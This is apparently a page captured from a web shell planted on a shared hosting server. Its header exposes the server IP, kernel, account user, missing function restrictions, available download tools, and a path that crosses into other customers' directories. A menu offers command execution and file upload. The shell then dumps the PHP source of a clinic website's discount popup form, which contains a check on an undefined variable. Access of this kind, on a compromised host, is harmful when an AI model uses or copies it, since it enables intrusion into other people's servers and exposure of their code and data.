Server IP : 103.53.40.154 / Your IP : 3.147.76.183 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/.cphorde/../ppcadsexpert.com/../mystudiob.co.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); function isAllowedMessage($message) { $allowedChars = '/^[a-zA-Z0-9,@. ]*$/'; return preg_match($allowedChars, $message); } if ($_SERVER["REQUEST_METHOD"] === "POST") { if (isset($_POST['submit-popup'])) { $name = $_POST['name']; $phone = $_POST['phone']; date_default_timezone_set("Asia/Kolkata"); $currentTime = date("Y-m-d H:i:s"); $errors = array(); // Validate input if (empty($name)) { $errors[] = "Name field is required."; } elseif (!preg_match('/^[a-zA-Z ]+$/', $name)) { $errors[] = "Name can only contain alphabets."; } if (empty($phone)) { $errors[] = "Phone field is required."; } elseif (!preg_match('/^\d{10}$/', $phone)) { $errors[] = "Phone number should have exactly 10 digits."; } if (empty($service)) { $errors[] = "Service field is required."; } elseif (!preg_match('/^[a-zA-Z ]+$/', $service)) { $errors[] = "Phone number should have exactly 10 digits."; } // Sanitize input $name = filter_var($name, FILTER_SANITIZE_STRING); $phone = filter_var($phone, FILTER_SANITIZE_NUMBER_INT); if (empty($errors)) { $query = "INSERT INTO `tbl_queries`(`name`,`phone`,`datetime`) VALUES (?, ?, ?)"; $stmt = mysqli_prepare($db, $query); if ($stmt) { mysqli_stmt_bind_param($stmt, "sss", $name, $phone, $currentTime); $result = mysqli_stmt_execute($stmt); mysqli_stmt_close($stmt); if ($result) { echo "<script> window.alert('Successfully Sent! We will contact you soon'); window.location.href = 'index.html'; </script>"; } else { $errors[] = "Error in processing your request. Please try again later."; } } else { $errors[] = "Error in preparing the statement."; } } else { // Display validation errors in an alert echo "<script> var errorMessage = '"; foreach ($errors as $error) { echo addslashes($error) . "\\n"; } echo "'; window.alert(errorMessage); </script>"; } } } ?> <style> .popup-form { display: none; position: fixed; top: 50%; left: 50%; width: 30%; /* Default width */ transform: translate(-50%, -50%); background-color: rgba(255, 255, 255, 0.9); /* Transparent background */ padding: 20px; border: 1px solid #ccc; box-shadow: 0 0 10px rgba(0, 0, 0, 0.3); z-index: 9999; } /* Media query for mobile view */ @media (max-width: 768px) { .popup-form { width: 90%; /* Set width to 90% for mobile view */ } } /* Add blur effect to background */ .popup-background { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.8); /* Semi-transparent black background */ z-index: 9998; /* Lower z-index to be behind the popup */ } #popup-form .close-btn { float: right; } .popup-form form input { display: block; width: 100%; margin: 10px 0; border: 1.5px solid #cccc; outline: none; height: 45px; padding-left: 6px; } .popup-form form button { display: block; width: 100%; height: 40px; background-color: #c5700a !important; border:none; font-size: 20px; color: #fefefe; padding-top: 8px; padding-bottom:30px; } .popup-form .close-btn { border-radius: 50%; background-color: #f3a951; border: none; color: #050505; font-size: 20px; width: 28px; } .popup-form h2{ color: #0e0e0e; text-align: center; font-size: 2.5rem; font-weight: 700; } .popup-form p{ color: #0e0e0e; text-align: center; font-size: 0.9rem; font-weight: 500; } </style> <div class="popup-background"></div> <div style="width: 100%; background: black;"> <div id="popup-form" class="popup-form"> <button id="close-btn" class="close-btn">×</button> <!--<h4>Fill Form for contact us</h4>--> <!--<img src="http://www.shreyaservices.in/images/Untitled%20design%20(16).png" width="100%" alt="shreya" style="padding: 20px 60px;">--> <h2>Want 10% Off </h2> <p>Enter Your Name & Phone No To Make It Happen!</p> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> <!-- Your form fields here --> <input type="text" name="name" placeholder="Your Name" required> <?php if (isset($errors) && in_array("Name field is required.", $errors)) { ?> <p class="error">Name field is required.</p> <?php } elseif (isset($errors) && in_array("Name can only contain alphabets.", $errors)) { ?> <p class="error">Name can only contain alphabets.</p> <?php } ?> <select class="dropdown" aria-label="Default select example" name="service"> <option selected>Select Service</option> <option value="1">Dental Care Service</option> <option value="2">Skin Care Service</option> <option value="3">Hair Care Service</option> </select> <input type="text" name="phone" placeholder="Your Phone Number" minlength="10" maxlength="10" onkeypress="return isNumberKey(event)" pattern=".{10,10}" onpaste="return false;" required> <?php if (isset($errors) && in_array("Phone field is required.", $errors)) { ?> <p class="error">Phone field is required.</p> <?php } elseif (isset($errors) && in_array("Phone number should have exactly 10 digits.", $errors)) { ?> <p class="error">Phone number should have exactly 10 digits.</p> <?php } ?> <button type="submit" name="submit-popup">Submit</button> </form> </div> </div> <script> document.addEventListener("DOMContentLoaded", function() { var popupForm = document.getElementById("popup-form"); var closeButton = document.getElementById("close-btn"); var popupBackground = document.querySelector(".popup-background"); setTimeout(function() { displayPopup(); }, 1000); closeButton.addEventListener("click", function() { closePopup(); }); function displayPopup() { popupForm.style.display = "block"; popupBackground.style.display = "block"; } function closePopup() { popupForm.style.display = "none"; popupBackground.style.display = "none"; } }); </script>